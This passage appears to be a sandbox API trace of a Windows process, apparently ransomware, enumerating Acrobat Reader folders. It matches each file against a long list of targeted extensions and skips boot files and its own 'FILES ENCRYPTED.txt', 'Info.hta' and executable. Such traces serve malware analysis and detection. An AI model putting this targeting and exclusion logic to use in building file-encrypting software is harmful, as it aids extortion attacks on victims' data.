	[0174.937] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi") returned 1
	[0174.937] lstrlenW (lpString="fi-fi") returned 5
	[0174.937] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1
	[0174.937] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0174.937] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi") returned 126
	[0174.937] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c98
	[0174.937] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0174.937] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.937] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.937] lstrlenW (lpString=".1cd") returned 4
	[0174.937] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0174.937] lstrlenW (lpString=".3ds") returned 4
	[0174.937] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0174.937] lstrlenW (lpString=".3fr") returned 4
	[0174.937] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0174.937] lstrlenW (lpString=".3g2") returned 4
	[0174.937] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0174.937] lstrlenW (lpString=".3gp") returned 4
	[0174.937] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0174.937] lstrlenW (lpString=".7z") returned 3
	[0174.937] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0174.937] lstrlenW (lpString=".accda") returned 6
	[0174.937] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0174.937] lstrlenW (lpString=".accdb") returned 6
	[0174.938] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0174.938] lstrlenW (lpString=".accdc") returned 6
	[0174.938] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0174.938] lstrlenW (lpString=".accde") returned 6
	[0174.938] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0174.938] lstrlenW (lpString=".accdt") returned 6
	[0174.938] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0174.938] lstrlenW (lpString=".accdw") returned 6
	[0174.938] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0174.938] lstrlenW (lpString=".adb") returned 4
	[0174.938] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".adp") returned 4
	[0174.938] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai") returned 3
	[0174.938] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0174.938] lstrlenW (lpString=".ai3") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai4") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai5") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai6") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai7") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".ai8") returned 4
	[0174.938] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".anim") returned 5
	[0174.938] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0174.938] lstrlenW (lpString=".arw") returned 4
	[0174.938] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0174.938] lstrlenW (lpString=".as") returned 3
	[0174.938] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0174.938] lstrlenW (lpString=".asa") returned 4
	[0174.939] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".asc") returned 4
	[0174.939] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".ascx") returned 5
	[0174.939] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0174.939] lstrlenW (lpString=".asm") returned 4
	[0174.939] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".asmx") returned 5
	[0174.939] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0174.939] lstrlenW (lpString=".asp") returned 4
	[0174.939] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".aspx") returned 5
	[0174.939] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0174.939] lstrlenW (lpString=".asr") returned 4
	[0174.939] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".asx") returned 4
	[0174.939] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".avi") returned 4
	[0174.939] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".avs") returned 4
	[0174.939] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".backup") returned 7
	[0174.939] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0174.939] lstrlenW (lpString=".bak") returned 4
	[0174.939] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".bay") returned 4
	[0174.939] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".bd") returned 3
	[0174.939] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0174.939] lstrlenW (lpString=".bin") returned 4
	[0174.939] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".bmp") returned 4
	[0174.939] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".bz2") returned 4
	[0174.939] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0174.939] lstrlenW (lpString=".c") returned 2
	[0174.940] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0174.940] lstrlenW (lpString=".cdr") returned 4
	[0174.940] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cer") returned 4
	[0174.940] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cf") returned 3
	[0174.940] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0174.940] lstrlenW (lpString=".cfc") returned 4
	[0174.940] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cfm") returned 4
	[0174.940] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cfml") returned 5
	[0174.940] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0174.940] lstrlenW (lpString=".cfu") returned 4
	[0174.940] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".chm") returned 4
	[0174.940] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cin") returned 4
	[0174.940] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".class") returned 6
	[0174.940] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0174.940] lstrlenW (lpString=".clx") returned 4
	[0174.940] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".config") returned 7
	[0174.940] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0174.940] lstrlenW (lpString=".cpp") returned 4
	[0174.940] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cr2") returned 4
	[0174.940] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".crt") returned 4
	[0174.940] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".crw") returned 4
	[0174.940] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0174.940] lstrlenW (lpString=".cs") returned 3
	[0174.941] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0174.941] lstrlenW (lpString=".css") returned 4
	[0174.941] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".csv") returned 4
	[0174.941] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".cub") returned 4
	[0174.941] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dae") returned 4
	[0174.941] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dat") returned 4
	[0174.941] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".db") returned 3
	[0174.941] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0174.941] lstrlenW (lpString=".dbf") returned 4
	[0174.941] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dbx") returned 4
	[0174.941] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dc3") returned 4
	[0174.941] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dcm") returned 4
	[0174.941] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dcr") returned 4
	[0174.941] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".der") returned 4
	[0174.941] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dib") returned 4
	[0174.941] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dic") returned 4
	[0174.941] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".dif") returned 4
	[0174.941] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0174.941] lstrlenW (lpString=".divx") returned 5
	[0174.941] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0174.941] lstrlenW (lpString=".djvu") returned 5
	[0174.942] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0174.942] lstrlenW (lpString=".dng") returned 4
	[0174.942] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".doc") returned 4
	[0174.942] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".docm") returned 5
	[0174.942] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0174.942] lstrlenW (lpString=".docx") returned 5
	[0174.942] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0174.942] lstrlenW (lpString=".dot") returned 4
	[0174.942] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dotm") returned 5
	[0174.942] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0174.942] lstrlenW (lpString=".dotx") returned 5
	[0174.942] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0174.942] lstrlenW (lpString=".dpx") returned 4
	[0174.942] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dqy") returned 4
	[0174.942] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dsn") returned 4
	[0174.942] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dt") returned 3
	[0174.942] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0174.942] lstrlenW (lpString=".dtd") returned 4
	[0174.942] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dwg") returned 4
	[0174.942] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dwt") returned 4
	[0174.942] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0174.942] lstrlenW (lpString=".dx") returned 3
	[0174.942] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0174.942] lstrlenW (lpString=".dxf") returned 4
	[0174.942] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".edml") returned 5
	[0174.943] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0174.943] lstrlenW (lpString=".efd") returned 4
	[0174.943] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".elf") returned 4
	[0174.943] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".emf") returned 4
	[0174.943] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".emz") returned 4
	[0174.943] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".epf") returned 4
	[0174.943] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".eps") returned 4
	[0174.943] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".epsf") returned 5
	[0174.943] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0174.943] lstrlenW (lpString=".epsp") returned 5
	[0174.943] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0174.943] lstrlenW (lpString=".erf") returned 4
	[0174.943] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".exr") returned 4
	[0174.943] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".f4v") returned 4
	[0174.943] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".fido") returned 5
	[0174.943] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0174.943] lstrlenW (lpString=".flm") returned 4
	[0174.943] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0174.943] lstrlenW (lpString=".flv") returned 4
	[0174.944] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".frm") returned 4
	[0174.944] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".fxg") returned 4
	[0174.944] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".geo") returned 4
	[0174.944] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".gif") returned 4
	[0174.944] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".grs") returned 4
	[0174.944] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".gz") returned 3
	[0174.944] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0174.944] lstrlenW (lpString=".h") returned 2
	[0174.944] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0174.944] lstrlenW (lpString=".hdr") returned 4
	[0174.944] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".hpp") returned 4
	[0174.944] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".hta") returned 4
	[0174.944] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".htc") returned 4
	[0174.944] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".htm") returned 4
	[0174.944] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".html") returned 5
	[0174.944] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0174.944] lstrlenW (lpString=".icb") returned 4
	[0174.944] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".ics") returned 4
	[0174.944] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".iff") returned 4
	[0174.944] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0174.944] lstrlenW (lpString=".inc") returned 4
	[0174.944] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".indd") returned 5
	[0174.945] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0174.945] lstrlenW (lpString=".ini") returned 4
	[0174.945] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".iqy") returned 4
	[0174.945] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".j2c") returned 4
	[0174.945] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".j2k") returned 4
	[0174.945] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".java") returned 5
	[0174.945] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0174.945] lstrlenW (lpString=".jp2") returned 4
	[0174.945] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".jpc") returned 4
	[0174.945] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".jpe") returned 4
	[0174.945] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".jpeg") returned 5
	[0174.945] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0174.945] lstrlenW (lpString=".jpf") returned 4
	[0174.945] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".jpg") returned 4
	[0174.945] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".jpx") returned 4
	[0174.945] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0174.945] lstrlenW (lpString=".js") returned 3
	[0174.945] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0174.945] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.945] lstrlenW (lpString=".GTF") returned 4
	[0174.945] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0174.946] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.946] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0174.946] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0174.946] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\ui-strings.js") returned 140
	[0174.946] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0174.946] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0174.946] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.946] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.946] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr") returned 126
	[0174.946] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr") returned 1
	[0174.946] lstrlenW (lpString="fr-fr") returned 5
	[0174.946] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1
	[0174.946] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0174.946] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr") returned 126
	[0174.946] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0174.946] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0174.946] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.947] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.947] lstrlenW (lpString=".1cd") returned 4
	[0174.947] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".3ds") returned 4
	[0174.947] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".3fr") returned 4
	[0174.947] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".3g2") returned 4
	[0174.947] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".3gp") returned 4
	[0174.947] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".7z") returned 3
	[0174.947] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0174.947] lstrlenW (lpString=".accda") returned 6
	[0174.947] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".accdb") returned 6
	[0174.947] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".accdc") returned 6
	[0174.947] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".accde") returned 6
	[0174.947] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".accdt") returned 6
	[0174.947] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".accdw") returned 6
	[0174.947] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0174.947] lstrlenW (lpString=".adb") returned 4
	[0174.947] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".adp") returned 4
	[0174.947] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0174.947] lstrlenW (lpString=".ai") returned 3
	[0174.947] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0174.947] lstrlenW (lpString=".ai3") returned 4
	[0174.948] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ai4") returned 4
	[0174.948] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ai5") returned 4
	[0174.948] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ai6") returned 4
	[0174.948] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ai7") returned 4
	[0174.948] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ai8") returned 4
